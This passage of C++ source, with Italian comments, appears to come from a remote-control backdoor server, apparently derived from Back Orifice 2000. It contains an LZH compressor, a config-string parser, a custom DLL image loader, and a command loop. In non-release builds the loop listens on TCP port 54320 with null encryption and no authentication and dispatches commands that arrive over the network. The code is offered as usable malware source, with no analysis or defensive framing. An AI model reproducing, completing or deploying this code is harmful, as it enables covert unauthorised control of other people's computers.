0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04,



0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04,



0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04,



0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04,



0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04,



0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05,



0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05,



0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05,



0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05,



0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05,



0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05,



0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05,



0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05, 0x05,



0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06,



0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06,



0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06,



0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06,



0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06,



0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06, 0x06,



0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07,



0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07,



0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07,



0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07,



0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07,



0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07, 0x07,



0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08,



0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08,

};

WORD CLzhCompress::GetBit(void)    /* acquisici un bit */

{

    WORD i;

    while (getlen <= 8) {

        if ((i = fnc_getc())==0xFFFF) i = 0;

        getbuf |= i << (8 - getlen);

        getlen += 8;

    }

    i = getbuf;

    getbuf <<= 1;

    getlen--;

    return ((i & 0x8000) >> 15);

}

WORD CLzhCompress::GetByte(void)   /* acqusisce un byte */

{

    WORD i;

    while (getlen <= 8) {

        if ((i = fnc_getc())==0xFFFF) i = 0;

        getbuf |= i << (8 - getlen);

        getlen += 8;

    }

    i = getbuf;

    getbuf <<= 8;

    getlen -= 8;

    return ((i & 0xff00) >> 8);

}

void CLzhCompress::Putcode(short l, WORD c)     /* output c bits di codice */

{

    putbuf |= c >> putlen;

    if ((putlen += l) >= 8) {

        if(fnc_putc(putbuf >> 8)==-1) return;

        if((putlen -= 8) >= 8) {

            if(fnc_putc(putbuf)==-1) return;

            codesize += 2;

            putlen -= 8;

            putbuf = c << (l - putlen);

        } else {

            putbuf <<= 8;

            codesize++;

        }

    }

}

/* initialization of tree */

void CLzhCompress::StartHuff(void)

{

    short i, j;

    for (i = 0; i < N_CHAR; i++) {

        freq[i] = 1;

        son[i] = i + T;

        prnt[i + T] = i;

    }

    i = 0; j = N_CHAR;

    while (j <= R) {

        freq[j] = freq[i] + freq[i + 1];

        son[j] = i;

        prnt[i] = prnt[i + 1] = j;

        i += 2; j++;

    }

    freq[T] = 0xffff;

    prnt[R] = 0;

}

/* ricostruzione dell’albero */

void CLzhCompress::reconst(void)

{

    short i, j, k;

    WORD f, l;

    /* raccoglie I nodi foglie nella prima metà della tabella */

    /* e rimpiazza  freq by (freq + 1) / 2. */

    j = 0;

    for (i = 0; i < T; i++) {

        if (son[i] >= T) {

            freq[j] = (freq[i] + 1) / 2;

            son[j] = son[i];

            j++;

        }

    }

    /*inizializza albero collegando I primi figli */

    for (i = 0, j = N_CHAR; j < T; i += 2, j++) {

        k = i + 1;

        f = freq[j] = freq[i] + freq[k];

        for (k = j - 1; f < freq[k]; k--);

        k++;

        l = (j - k) * 2;

        memmove(&freq[k + 1], &freq[k], l);

        freq[k] = f;

        memmove(&son[k + 1], &son[k], l);

        son[k] = i;

    }

    /* collega prnt */

    for (i = 0; i < T; i++) {

        if ((k = son[i]) >= T) {

            prnt[k] = i;

        } else {

            prnt[k] = prnt[k + 1] = i;

        }

    }

}

/*incrementa la frequenza del codice dato di uno e aggiorna l’albero*/

void CLzhCompress::update(short c)

{

    short i, j, k, l;

    if (freq[R] == MAX_FREQ) {

        reconst();

    }

    c = prnt[c + T];

    do {

        k = ++freq[c];

        /* Se l’ordine è distribuito scambia I nodi */

        if ((WORD)k > freq[l = c + 1]) {

            while ((WORD)k > freq[++l]);

            l--;

            freq[c] = freq[l];

            freq[l] = k;

            i = son[c];

            prnt[i] = l;

            if (i < T) prnt[i + 1] = l;

            j = son[l];

            son[l] = i;

            prnt[j] = c;

            if (j < T) prnt[j + 1] = c;

            son[c] = j;

            c = l;

        }

    } while ((c = prnt[c]) != 0); /* ripati dalla radice */

}

void CLzhCompress::EncodeChar(WORD c)

{

    WORD i;

    short j, k;

    i = 0;

    j = 0;

    k = prnt[c + T];

    /* Visita a ritroso dalle foglie alla radice */

    do {

        i >>= 1;

        /* se il numero del nodo è dispari scelie il fratello maggiore */

        if (k & 1) i += 0x8000;

        j++;

    } while ((k = prnt[k]) != R);

    Putcode(j, i);

    code = i;

    len = j;

    update(c);

}

void CLzhCompress::EncodePosition(WORD c)

{

    WORD i;

    /* output upper 6 bits by table lookup */

    i = c >> 6;

    Putcode(p_len[i], (WORD)p_code[i] << 8);

    /* output lower 6 bits verbatim */

    Putcode(6, (c & 0x3f) << 10);

}

void CLzhCompress::EncodeEnd(void)

{

    if (putlen) {

        if (fnc_putc(putbuf >> 8) == -1) {




return;

        }

        codesize++;

    }

}

short CLzhCompress::DecodeChar(void)

{

    WORD c;

    c = son[R];

    /* visita dalla radice alle foglie, */

    while (c < T) {

        c += GetBit();

        c = son[c];

    }

    c -= T;

    update(c);

    return (short)c;

}

short CLzhCompress::DecodePosition(void)

{

    WORD i, j, c;

    /* recover upper 6 bits from table */

    i = GetByte();

    c = (WORD)d_code[i] << 6;

    j = d_len[i];

    j -= 2;

    while (j--) {

        i = (i << 1) + GetBit();

    }

    return (short)(c | (i & 0x3f));

}

/* compressione */

void CLzhCompress::Encode(void)  /* compression */

{

    short  i, c, len, r, s, last_match_length;


codesize=0;

    fnc_putc((BYTE)(textsize & 0xff));

    fnc_putc((BYTE)((textsize & 0xff00) >> 8));

    fnc_putc((BYTE)((textsize & 0xff0000L) >> 16));

    fnc_putc((BYTE)((textsize & 0xff000000L) >> 24));


if (textsize == 0)

        return;

    textsize = 0;           /* porta la testina lettura/scrittura alla radice */

    StartHuff();

    InitTree();

    s = 0;

    r = N - F;

    for (i = s; i < r; i++)

        text_buf[i] = 0x20;

    for (len = 0; len < F && ((c = fnc_getc()) != -1); len++)

        text_buf[r + len] = (unsigned char)c;

    textsize = len;

    for (i = 1; i <= F; i++)

        InsertNode(r - i);

    InsertNode(r);

    do {

        if (match_length > len)

            match_length = len;

        if (match_length <= THRESHOLD) {

            match_length = 1;

            EncodeChar(text_buf[r]);

        } else {

            EncodeChar(255 - THRESHOLD + match_length);

            EncodePosition(match_position);

        }

        last_match_length = match_length;

        for (i = 0; i < last_match_length &&




((c = fnc_getc()) != -1); i++) {

            DeleteNode(s);

            text_buf[s] = (unsigned char)c;

            if (s < F - 1)

                text_buf[s + N] = (unsigned char)c;

            s = (s + 1) & (N - 1);

            r = (r + 1) & (N - 1);

            InsertNode(r);

        }

        while (i++ < last_match_length) {

            DeleteNode(s);

            s = (s + 1) & (N - 1);

            r = (r + 1) & (N - 1);

            if (--len) InsertNode(r);

        }

    } while (len > 0);

    EncodeEnd();

}

void CLzhCompress::Decode(void)  /* recupero */

{

    short  i, j, k, r, c;

    unsigned long int  count;

    codesize=0;


textsize = (fnc_getc());

    textsize |= (((unsigned long)fnc_getc()) << 8);

    textsize |= (((unsigned long)fnc_getc()) << 16);

    textsize |= (((unsigned long)fnc_getc()) << 24);


if (textsize == 0)

        return;

    StartHuff();

    for (i = 0; i < N - F; i++)

        text_buf[i] = 0x20;

    r = N - F;

    for (count = 0; count < textsize; ) {

        c = DecodeChar();

        if (c < 256) {

            if(fnc_putc(c)==-1) {

                return;

            }

            text_buf[r++] = (unsigned char)c;

            r &= (N - 1);

            count++;

        } else {

            i = (r - DecodePosition() - 1) & (N - 1);

            j = c - 255 + THRESHOLD;

            for (k = 0; k < j; k++) {

                c = text_buf[(i + k) & (N - 1)];

                if(fnc_putc(c)==-1) {

                    return;

                }

                text_buf[r++] = (unsigned char)c;

                r &= (N - 1);

                count++;

            }

        }

    }

}

int CLzhCompress::fnc_read_file(BYTE *pBuffer, int nLen)

{


DWORD dwBytes;


dwBytes=0;


ReadFile(hFileIn,pBuffer,nLen,&dwBytes,NULL);


return dwBytes;

}

int CLzhCompress::fnc_write_file(BYTE *pBuffer, int nLen)

{


DWORD dwBytes;


dwBytes=0;


WriteFile(hFileOut,pBuffer,nLen,&dwBytes,NULL);


return dwBytes;

}

int CLzhCompress::fnc_read_memory(BYTE *pBuffer, int nLen)

{


int nCount;


nCount=nLen;


if((nCount+nMemInOff)>nMemInSize)



nCount=nMemInSize-nMemInOff;


memcpy(pBuffer,pMemIn+nMemInOff,nCount);


nMemInOff+=nCount;


return nCount;

}

int CLzhCompress::fnc_write_memory(BYTE *pBuffer, int nLen)

{


int nCount;


nCount=nLen;


if((*ppMemOut)==NULL) {



nMemRealAlloc=nLen*3/2+1024;



*ppMemOut=(BYTE *)malloc(nMemRealAlloc);



if((*ppMemOut)==NULL) return -1;


}


if((nCount+nMemOutOff)>nMemRealAlloc) {



int nAlloc=(nMemOutOff+nCount)*3/2+1024;



void *newmem=malloc(nAlloc);



if(newmem==NULL) return -1;



memcpy(newmem,*ppMemOut,nMemOutOff);



free(*ppMemOut);



*ppMemOut=(BYTE *)newmem;



nMemRealAlloc=nAlloc;


}


memcpy(*ppMemOut+nMemOutOff,pBuffer,nCount);


nMemOutOff+=nCount;


*pnMemOutSize=nMemOutOff;


return nCount;

}

int CLzhCompress::fnc_write(BYTE *ptr, int len)

{


if(freeze_type==0)



return fnc_write_file(ptr,len);


else if(freeze_type==1)



return fnc_write_memory(ptr,len);


return 0;

}

int CLzhCompress::fnc_read(BYTE *ptr, int len)

{


if(freeze_type==0)



return fnc_read_file(ptr,len);


else if(freeze_type==1)



return fnc_read_memory(ptr,len);


return 0;

}

int CLzhCompress::fnc_getc(void)

{


int val;


val=0;


if(fnc_read((BYTE *)&val,1)!=1) return -1;


return val;

}

int CLzhCompress::fnc_putc(int val)

{


if(fnc_write((BYTE *)&val,1)!=1) return -1;


return (int) 0;

}

int CLzhCompress::lzh_freeze_file(const char *szInFile, const char *szOutFile)

{


hFileIn=CreateFile(szInFile,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);


if(hFileIn==INVALID_HANDLE_VALUE) return -1;


hFileOut=CreateFile(szOutFile,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);


if(hFileOut==INVALID_HANDLE_VALUE) {



CloseHandle(hFileIn);



return -1;


}


getbuf=0;


getlen=0;


putbuf=0;


putlen=0;


textsize=GetFileSize(hFileIn,NULL);

    freeze_type=0;


Encode();


CloseHandle(hFileOut);


CloseHandle(hFileIn);


return 0;

}

int CLzhCompress::lzh_freeze_memory(void *pInBuffer, int nInBufLen, void **ppOutBuf, int *pnOutBufLen)

{


pMemIn=(BYTE *)pInBuffer;


nMemInSize=nInBufLen;


ppMemOut=(BYTE **)ppOutBuf;


pnMemOutSize=pnOutBufLen;


nMemInOff=0;


nMemOutOff=0;


*ppMemOut=NULL;


*pnMemOutSize=0;


getbuf=0;


getlen=0;


putbuf=0;


putlen=0;


textsize=nInBufLen;

    freeze_type=1;


Encode();


return 0;

}

int CLzhCompress::lzh_melt_file(const char *szInFile, const char *szOutFile)

{


hFileIn=CreateFile(szInFile,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,0,NULL);


if(hFileIn==INVALID_HANDLE_VALUE) return -1;


hFileOut=CreateFile(szOutFile,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);


if(hFileOut==INVALID_HANDLE_VALUE) {



CloseHandle(hFileIn);



return -1;


}


getbuf=0;


getlen=0;


putbuf=0;


putlen=0;


freeze_type=0;


Decode();


CloseHandle(hFileOut);


CloseHandle(hFileIn);


return 0;

}

int CLzhCompress::lzh_melt_memory(void *pInBuffer, int nInBufLen, void **ppOutBuf, int *pnOutBufLen)

{


pMemIn=(BYTE *)pInBuffer;


nMemInSize=nInBufLen;


ppMemOut=(BYTE **)ppOutBuf;


pnMemOutSize=pnOutBufLen;


nMemInOff=0;


nMemOutOff=0;


*ppMemOut=NULL;


*pnMemOutSize=0;


getbuf=0;


getlen=0;


putbuf=0;


putlen=0;


freeze_type=1;


Decode();


return 0;

}

int CLzhCompress::lzh_free_memory(void **ppOutBuf)

{


free(*ppOutBuf);


*ppOutBuf=NULL;


return 0;

}

/*  file commandloop.cpp */

#include<windows.h>

#include<auth.h>

#include<iohandler.h>

#include<encryption.h>

#include<pokcomreg.h>

#include<commnet.h>

#include<commandloop.h>

#include<config.h>

#include<dll_load.h>

#include<plugins.h>

// ---------------- Variabili Globali ----------------

CIOHandler *g_pIOHandler;

CEncryptionHandler *g_pEncryptionHandler;

CAuthHandler *g_pAuthHandler;

CAuthSocket *g_pCommSock[MAX_COMMAND_SOCKETS];

CAuthSocket *g_pConnSock[MAX_COMMAND_CONNECTIONS];

int g_nCommCount, g_nConnCount;

BOOL g_bpokFinished;

#ifdef NDEBUG

char g_szStartupOptions[]=
"<**CFG**>Startup\0"








"S[8]:Init Cmd Net Type=TCPIO\0\0\0\0"







    "S[48]:Init Cmd Bind Str=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"







    "S[8]:Init Cmd Encryption=NULL\0\0\0\0\0"







    "S[8]:Init Cmd Auth=NULLAUTH\0"







    "N[0,5000000]:Idle Timeout (ms)=60000\0\0";

#else

char g_szStartupOptions[]=
"<**CFG**>Startup\0"








"S[8]:Init Cmd Net Type=TCPIO\0\0\0\0"







    "S[48]:Init Cmd Bind Str=54320\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0"







    "S[8]:Init Cmd Encryption=NULL\0\0\0\0\0"







    "S[8]:Init Cmd Auth=NULLAUTH\0"







    "N[0,5000000]:Idle Timeout (ms)=60000\0\0";

#endif

void InitializeCommands(void)

{


// Inizializza il caricatore dei DLL      DLLLoad


InitializeDLLLoad();


//Crea sistema di criptatura globale di IO e il manipolatore per  l’autentificafione 


g_pIOHandler=new CIOHandler();


if(g_pIOHandler==NULL) return;


g_pEncryptionHandler=new CEncryptionHandler();


if(g_pEncryptionHandler==NULL) return;


g_pAuthHandler=new CAuthHandler();


if(g_pAuthHandler==NULL) return; 


LoadPlugins();

}

void TerminateCommands(void)

{


// Scarica  plugins

UnloadPlugins();


int i;


for(i=0;i<MAX_AUTH_HANDLERS;i++) {



g_pAuthHandler->Remove(i);


}


delete g_pAuthHandler;


// Rimozione criptatura

for(i=0;i<MAX_ENCRYPTION_ENGINES;i++) {



g_pEncryptionHandler->Remove(i);


}


delete g_pEncryptionHandler;


// Terminazione IO System


for(i=0;i<MAX_IO_HANDLERS;i++) {



g_pIOHandler->Remove(i);


}


delete g_pIOHandler;


// Remozione DLLLoad


KillDLLLoad();

}

static BOOL StartupCommandHandlers(void)

{


char svParam[256];


//inizializza Il comado primario di criptatura


g_nCommCount=0;


g_nConnCount=0;


svParam[0]='\0';


char *bindstr=GetCfgStr(g_szStartupOptions,"Init Cmd Bind Str");


if(bindstr==NULL) return FALSE;


if(bindstr[0]=='\0') {



return FALSE;


}


CAuthSocket *cas;


do {



cas=ListenAuthSocket(NULL,0,NULL,




bindstr,




GetCfgStr(g_szStartupOptions,"inizializza comando tipo rete"),




GetCfgStr(g_szStartupOptions,"inizializza comando tipo criptatura"),




GetCfgStr(g_szStartupOptions,"inizializza  comando autentificazione"));



if(cas!=NULL && cas!=(CAuthSocket *)0xFFFFFFFF) {




g_pCommSock[g_nCommCount]=cas;




g_nCommCount++;





return TRUE;



}



Sleep(100);


} while(cas!=NULL && cas!=(CAuthSocket *)0xFFFFFFFF);


return FALSE;

}

static void ShutdownCommandHandlers(void)

{


int i;


// Chiudi connessione


for(i=0;i<g_nConnCount;i++) {



g_pConnSock[i]->Close();



delete g_pConnSock[i];


}


for(i=0;i<g_nCommCount;i++) {



g_pCommSock[i]->Close();



delete g_pCommSock[i];


}

}

void CommandHandlerLoop(void)

{


BYTE *buffer;


int buflen,ret,i,j;


DWORD dwLastTime,dwTimeout;


BOOL bIdle;


if(StartupCommandHandlers()==FALSE) return;



SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_NORMAL);


// loop dei comandi del manipolatore

g_bpokFinished=FALSE;


dwLastTime=GetTickCount();


dwTimeout=GetCfgNum(g_szStartupOptions,"Idle Timeout (ms)");


bIdle=FALSE;


while(!g_bpokFinished) {



if(dwTimeout!=0) {




if(!bIdle && ((GetTickCount()-dwLastTime)>dwTimeout)) {





SetPriorityClass(GetCurrentProcess(),IDLE_PRIORITY_CLASS);





SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_IDLE);





bIdle=TRUE;




}



}



for(i=0; i<g_nCommCount; i++) {




CAuthSocket *cas;




cas=g_pCommSock[i]->Accept();




if(cas!=NULL) {





if(g_nConnCount<MAX_COMMAND_CONNECTIONS) {






dwLastTime=GetTickCount();






if(bIdle) {







SetPriorityClass(GetCurrentProcess(),NORMAL_PRIORITY_CLASS);







SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_NORMAL);







bIdle=FALSE;






}






g_pConnSock[g_nConnCount]=cas;






g_nConnCount++;





} else {






cas->Close();






delete cas;






}




}



}




for(i=(g_nConnCount-1);i>=0;i--) {




ret=g_pConnSock[i]->Recv(&buffer,&buflen);




if(ret<0) {





g_pConnSock[i]->Close();





delete g_pConnSock[i];





for(j=i;j<(g_nConnCount-1);j++) {






g_pConnSock[j]=g_pConnSock[j+1];





}





g_pConnSock[j]=NULL;





g_nConnCount--;




}




else if(ret==0) {




}




else {





dwLastTime=GetTickCount();





if(bIdle) {






SetPriorityClass(GetCurrentProcess(),NORMAL_PRIORITY_CLASS);






SetThreadPriority(GetCurrentThread(),THREAD_PRIORITY_LOWEST);






bIdle=FALSE;





}





// Comando ricevuto








int cmdlen,command,comid,nArg1;





char *svArg2,*svArg3;





BreakDownCommand(buffer, &cmdlen, &command, &comid, &nArg1, &svArg2, &svArg3);





if(cmdlen==buflen) {






DispatchCommand(command, g_pConnSock[i],comid,nArg1,svArg2,svArg3);





}





// Memoria dei comandi liberi




g_pConnSock[i]->Free(buffer);




}



}



Sleep(20);


}


// Termina manipolatore dei comandi (distruttore)


ShutdownCommandHandlers();

}

/*  file commet.cpp. */

// pok Funzioni  utensile dei comandi di Networking

#include<stdlib.h>

#include<memory.h>

#include<string.h>

#include<auth.h>

#include<iohandler.h>

#include<encryption.h>

#include<commnet.h>

extern CIOHandler *g_pIOHandler;

extern CEncryptionHandler *g_pEncryptionHandler;

extern CAuthHandler *g_pAuthHandler;

void BreakDownCommand(BYTE *pInBuffer, int *cmdlen, int *command, int *comid, int *nArg1, char **svArg2, char **svArg3)

{


struct bo_command_header *hdr;
hdr=(struct bo_command_header *)pInBuffer;


*cmdlen=hdr->cmdlen;


*command=hdr->command;


*comid=hdr->comid;


*nArg1=hdr->nArg1;


if(hdr->nArg2Len>0) {



*svArg2=(char *)(pInBuffer+sizeof(struct bo_command_header));


} else *svArg2=NULL;


if(hdr->nArg3Len>0) {



*svArg3=(char *)(pInBuffer+sizeof(struct bo_command_header)+hdr->nArg2Len);


} else *svArg3=NULL;

}

BYTE *BuildCommandRequest(int command, int comid, int nArg1, const char *svArg2, const char *svArg3, int *pnReqLen)

{


BYTE *buffer;


struct bo_command_header *hdr;


int buflen,nArg2Len,nArg3Len;


buflen=sizeof(struct bo_command_header) + sizeof(int);


nArg2Len=0;


nArg3Len=0;


if(svArg2!=NULL) {



nArg2Len = (strlen(svArg2)+1);



buflen += nArg2Len;


}


if(svArg3!=NULL) {



nArg3Len = (strlen(svArg3)+1);



buflen += nArg3Len;


}


buffer=(BYTE *) malloc(buflen);


if(buffer==NULL) {



*pnReqLen=0;



return NULL;


}


memset(buffer,0,buflen);


hdr=(struct bo_command_header *)buffer;



hdr->cmdlen=buflen;


hdr->comid=comid;


hdr->command=command;


hdr->flags=CMDFLAG_COMMAND;


hdr->nArg1=nArg1;


hdr->nArg2Len=nArg2Len;


hdr->nArg3Len=nArg3Len;


if(svArg2!=NULL) {



strncpy((char *)buffer+sizeof(struct bo_command_header),svArg2,nArg2Len);


}


if(svArg3!=NULL) {



strncpy((char *)buffer+sizeof(struct bo_command_header)+nArg2Len,svArg3,nArg3Len);


}


*pnReqLen=buflen;


return buffer;

}

BYTE *BuildCommandReply(int comid, int nReplyCode, const char *svReply, int *pnReqLen)

{


BYTE *buffer;


struct bo_command_header *hdr;


int buflen,nReplyLen;


buflen=sizeof(struct bo_command_header) + sizeof(int);


nReplyLen=0;


if(svReply!=NULL) {



nReplyLen = (strlen(svReply)+1);



buflen += nReplyLen;


}


buffer=(BYTE *) malloc(buflen);


if(buffer==NULL) {



*pnReqLen=0;



return NULL;


}


memset(buffer,0,buflen);


hdr=(struct bo_command_header *)buffer;



hdr->cmdlen=buflen;


hdr->comid=comid;


hdr->command=-1;


hdr->flags=CMDFLAG_REPLY;


hdr->nArg1=nReplyCode;


hdr->nArg2Len=nReplyLen;


hdr->nArg3Len=0;


if(svReply!=NULL) {



strncpy((char *)buffer+sizeof(struct bo_command_header),svReply,nReplyLen);


}


*pnReqLen=buflen;




return buffer;

}

void FreeCommandMemory(BYTE *pCmd)

{


free(pCmd);

}

int IssueAuthCommandRequest(CAuthSocket *cas_from, int command, int comid, int nArg1, const char *svArg2, const char *svArg3)

{


BYTE *buf;


int buflen,ret;


if(cas_from==NULL) return 0;


buf=BuildCommandRequest(command, comid, nArg1, svArg2, svArg3, &buflen);


ret=cas_from->Send(buf,buflen);


FreeCommandMemory(buf);


return ret;

}

int IssueAuthCommandReply(CAuthSocket *cas_from, int comid, int nReplyCode, const char *svReply)

{


BYTE *buf;


int buflen,ret;


if(cas_from==NULL) return 0;


buf=BuildCommandReply(comid, nReplyCode, svReply, &buflen);


ret=cas_from->Send(buf,buflen);


FreeCommandMemory(buf);


return ret;

}

CAuthSocket *CreateAuthSocket(const char *svRNetMod, const char *svREncryption, const char *svRAuth)

{


IO_HANDLER *pioh=g_pIOHandler->GetHandlerByID(svRNetMod);


if(pioh==NULL) return NULL;


ENCRYPTION_ENGINE *peh=g_pEncryptionHandler->GetEngineByID(svREncryption);


if(peh==NULL) return NULL;


AUTH_HANDLER *pah=g_pAuthHandler->GetHandlerByID(svRAuth);


if(pah==NULL) return NULL;


CAuthSocket *pcas=new CAuthSocket(pah,pioh,peh);


if(pcas==NULL) return NULL;


return pcas;

}

CAuthSocket *ConnectAuthSocket(INTERACTIVE_CONNECT *pIC, int nUserId, HWND hParent, LPCSTR svBindStr, LPCSTR svNetMod, LPCSTR svEncryption, LPCSTR svAuth)

{


char svRNetMod[256];


char svRBindStr[256];


char svREncryption[256];


char svRAuth[256];


if(pIC!=NULL) {



if((*pIC)(hParent,svBindStr,svNetMod,svEncryption,svAuth,svRBindStr,svRNetMod,svREncryption,svRAuth)<0)




return NULL;


} else {



if(svNetMod==NULL || svBindStr==NULL || svEncryption==NULL || svAuth==NULL) return NULL;



strncpy(svRNetMod,svNetMod,256);



strncpy(svRBindStr,svBindStr,256);



strncpy(svREncryption,svEncryption,256);



strncpy(svRAuth,svAuth,256);


}


CAuthSocket *pcas=CreateAuthSocket(svRNetMod,svREncryption,svRAuth);


if(pcas==NULL) return (CAuthSocket *)0xFFFFFFFF;


if(pcas->Connect(svRBindStr,nUserId)<0) {



delete pcas;



return (CAuthSocket *)0xFFFFFFFF;


}


return pcas;

}

CAuthSocket *ListenAuthSocket(INTERACTIVE_LISTEN *pIL, int nUserId, HWND hParent, LPCSTR svBindStr, LPCSTR svNetMod, LPCSTR svEncryption, LPCSTR svAuth)

{


char svRNetMod[256];


char svRBindStr[256];


char svREncryption[256];


char svRAuth[256];


if(pIL!=NULL) {



if((*pIL)(hParent,svBindStr,svNetMod,svEncryption,svAuth,svRBindStr,svRNetMod,svREncryption,svRAuth)<0)




return NULL;


} else {



if(svNetMod==NULL || svBindStr==NULL || svEncryption==NULL || svAuth==NULL) return NULL;



strncpy(svRNetMod,svNetMod,256);



strncpy(svRBindStr,svBindStr,256);



strncpy(svREncryption,svEncryption,256);



strncpy(svRAuth,svAuth,256);


}


CAuthSocket *pcas=CreateAuthSocket(svRNetMod,svREncryption,svRAuth);


if(pcas==NULL) return (CAuthSocket *)0xFFFFFFFF;


if(pcas->Listen(svRBindStr,nUserId)<0) {



delete pcas;



return (CAuthSocket *)0xFFFFFFFF;


}


return pcas;

}

/*  file config.cpp */

#include<stdlib.h>

#include<string.h>

#ifdef WIN32

#include<windows.h>

#else

typedef unsigned long DWORD;

typedef int BOOL;

#define TRUE 1

#define FALSE 0

#endif

char *GetCfgStr(char *cfgstr,const char *key)

{


char *str=cfgstr;


// Punta la nome successivo della lista


while(*str!='\0') str++;


str++;


// Attraversa l’albero delle opzioni disponibili


while(*str!='\0') {



int nLen;



if(*str=='B') {




nLen=1;




str+=2;




if(strncmp(str,key,strlen(key))==0) break;



} else if(*str=='S') {




str+=2;




nLen=atoi(str);




while(*str!=']') str++;




str+=2;




if(strncmp(str,key,strlen(key))==0) break;



} else if(*str=='N') {




str+=2;




char *pb;




pb=str;




while(*str!=',') str++;




nLen=(DWORD)str-(DWORD)pb;




str++;




pb=str;




while(*str!=']') str++;




int nLen2=(DWORD)str-(DWORD)pb;




if(nLen2>nLen) nLen=nLen2;




str+=2;




if(strncmp(str,key,strlen(key))==0) break;



}



while(*str!='=') str++;



str++;



str+=(nLen+1);


}


if(*str!='\0') {



while(*str!='=') str++;



return str+1;


}


return NULL;

}

int GetCfgNum(char *cfgstr,const char *key)

{


char *str;


str=GetCfgStr(cfgstr,key);


return (str==NULL)?0:atoi(str);

}

int GetCfgBool(char *cfgstr,const char *key)

{


return GetCfgNum(cfgstr,key)?TRUE:FALSE;

}

/*  file dll_load.cpp */

#include<windows.h>

#include<winnt.h>

#include<dll_load.h>

#include<osversion.h>

#pragma pack(push,1)

typedef struct {


DWORD
dwPageRVA;


DWORD
dwBlockSize;

} IMAGE_FIXUP_BLOCK, *PIMAGE_FIXUP_BLOCK;

typedef struct {


WORD
offset:12;


WORD
type:4;

} IMAGE_FIXUP_ENTRY, *PIMAGE_FIXUP_ENTRY;

typedef struct __imageparameters {


void
*pImageBase;


char
svName[MAX_PATH];


DWORD
dwFlags;


int

nLockCount;


struct __imageparameters *next;

} IMAGE_PARAMETERS;

typedef BOOL (WINAPI *DLLMAIN_T)(HMODULE hinstDLL, DWORD fdwReason, LPVOID lpvReserved); 

#pragma pack(pop)

// Variabili globali di processo
IMAGE_PARAMETERS *g_pImageParamHead;

CRITICAL_SECTION g_DLLCrit;

void InitializeDLLLoad(void)

{


InitializeCriticalSection(&g_DLLCrit);


g_pImageParamHead=NULL;

}

void KillDLLLoad(void)

{


IMAGE_PARAMETERS *cur,*next;


cur=g_pImageParamHead;


while(cur!=NULL) {



next=cur->next;



free(cur);



cur=next;


}


DeleteCriticalSection(&g_DLLCrit);

}

//restituisce 0 se va a buon fine 1 se c’è un errore
static int AddDLLReference(void *pImageBase, const char *svName, DWORD dwFlags)

{


EnterCriticalSection(&g_DLLCrit);


// Trovata DLL nella lista


IMAGE_PARAMETERS *cur;


for(cur=g_pImageParamHead;cur!=NULL;cur=cur->next) {



if(cur->pImageBase==pImageBase) break;


}


if(cur!=NULL) {



// incrementa il contatore delle DLL



cur->nLockCount++;



LeaveCriticalSection(&g_DLLCrit);



return 0;


} 


// Aggiunge la nuova DLL nella lista


cur=(IMAGE_PARAMETERS *)malloc(sizeof(IMAGE_PARAMETERS));


if(cur==NULL) {



LeaveCriticalSection(&g_DLLCrit);



return -1;


}


cur->pImageBase=pImageBase;


if(svName!=NULL) {



lstrcpyn(cur->svName,svName, MAX_PATH);


} else cur->svName[0]='\0';


cur->nLockCount=1;


cur->dwFlags=dwFlags;


cur->next=g_pImageParamHead;


g_pImageParamHead=cur;


LeaveCriticalSection(&g_DLLCrit);


return 1;

}

// restituisce 0 se va a buon fine 1 se c’è un errore
static int RemoveDLLReference(void *pImageBase, char *svName, DWORD *pdwFlags)

{


EnterCriticalSection(&g_DLLCrit);


// trovata DLL nella lista


IMAGE_PARAMETERS *cur,*prev;


prev=NULL;


for(cur=g_pImageParamHead;cur!=NULL;cur=cur->next) {



if(cur->pImageBase==pImageBase) break;



prev=cur;


}


if(cur==NULL) {



LeaveCriticalSection(&g_DLLCrit);



return -1;


}


// decrementa il contatore delle DLL in lista


cur->nLockCount--;


// visualizza informazioni sulla dll 


*pdwFlags=cur->dwFlags;


